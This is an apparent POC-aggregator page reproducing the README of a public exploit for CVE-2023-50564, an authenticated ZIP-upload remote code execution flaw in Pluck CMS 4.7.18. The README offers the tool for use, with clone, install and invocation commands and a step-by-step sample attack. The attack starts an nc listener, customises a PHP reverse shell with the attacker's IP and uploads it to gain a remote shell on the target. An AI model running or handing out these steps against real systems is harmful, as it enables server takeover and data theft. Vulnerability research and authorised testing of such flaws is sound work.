POC详情: 8b28f0b847c70337d2e26a5fc4d426007760233d

来源
关联漏洞
标题: Pluck 安全漏洞 (CVE-2023-50564)
描述:Pluck是一套使用PHP语言开发的内容管理系统(CMS)。 Pluck v4.7.18版本存在安全漏洞,该漏洞源于组件 /inc/modules_install.php 中存在任意文件上传漏洞,允许攻击者通过上传精心设计的 ZIP 文件来执行任意代码。
描述
Pluck v4.7.18 - Remote Code Execution (RCE)
介绍
# CVE-2023-50564

## 📌 Description

This exploit allows an authenticated admin in **Pluck CMS v4.7.18** to upload a malicious ZIP module containing a PHP shell, resulting in remote code execution (RCE).


---

## ⚙️ Features

- Authenticates to the target using a valid username and password
- Automatically creates a ZIP archive from a provided PHP file
- Uploads the module to the vulnerable `installmodule` endpoint
- Triggers the payload and displays the output
- Supports custom target, port, credentials, and shell path

---

## 🚀 Usage

```bash
git clone https://github.com/glynzr/CVE-2023-50564.git
cd CVE-2023-50564
pip3 install -r requirements.txt

python3 exploit.py -h
```


```bash
python3 exploit.py -t <target> -u <username> -pass <password> -path <path_to_php_shell> [-p <port>]
```

- The port is optional and defaults to 80 if not specified.
- When specifying the target, the IP address or domain name is required (e.g., 127.0.0.1 or test.domain).


## Sample exploit

First, reverse shell listener should be started on attacker machine(this tab on the terminal should not be terminated):
```bash
nc -nvlp <specify port>
```

Then, download php reverse shell from https://github.com/pentestmonkey/php-reverse-shell and customize it according to attacker machine. (IP,port)

Run the exploit code on another tab:
```bash
python3 exploit.py -t test.com -u admin -pass samplepassword -path ../php-reverse-shell.php
```
文件快照

[4.0K] /data/pocs/8b28f0b847c70337d2e26a5fc4d426007760233d ├── [2.7K] exploit.py ├── [1.0K] LICENSE ├── [1.4K] README.md └── [ 26] requirements.txt 0 directories, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。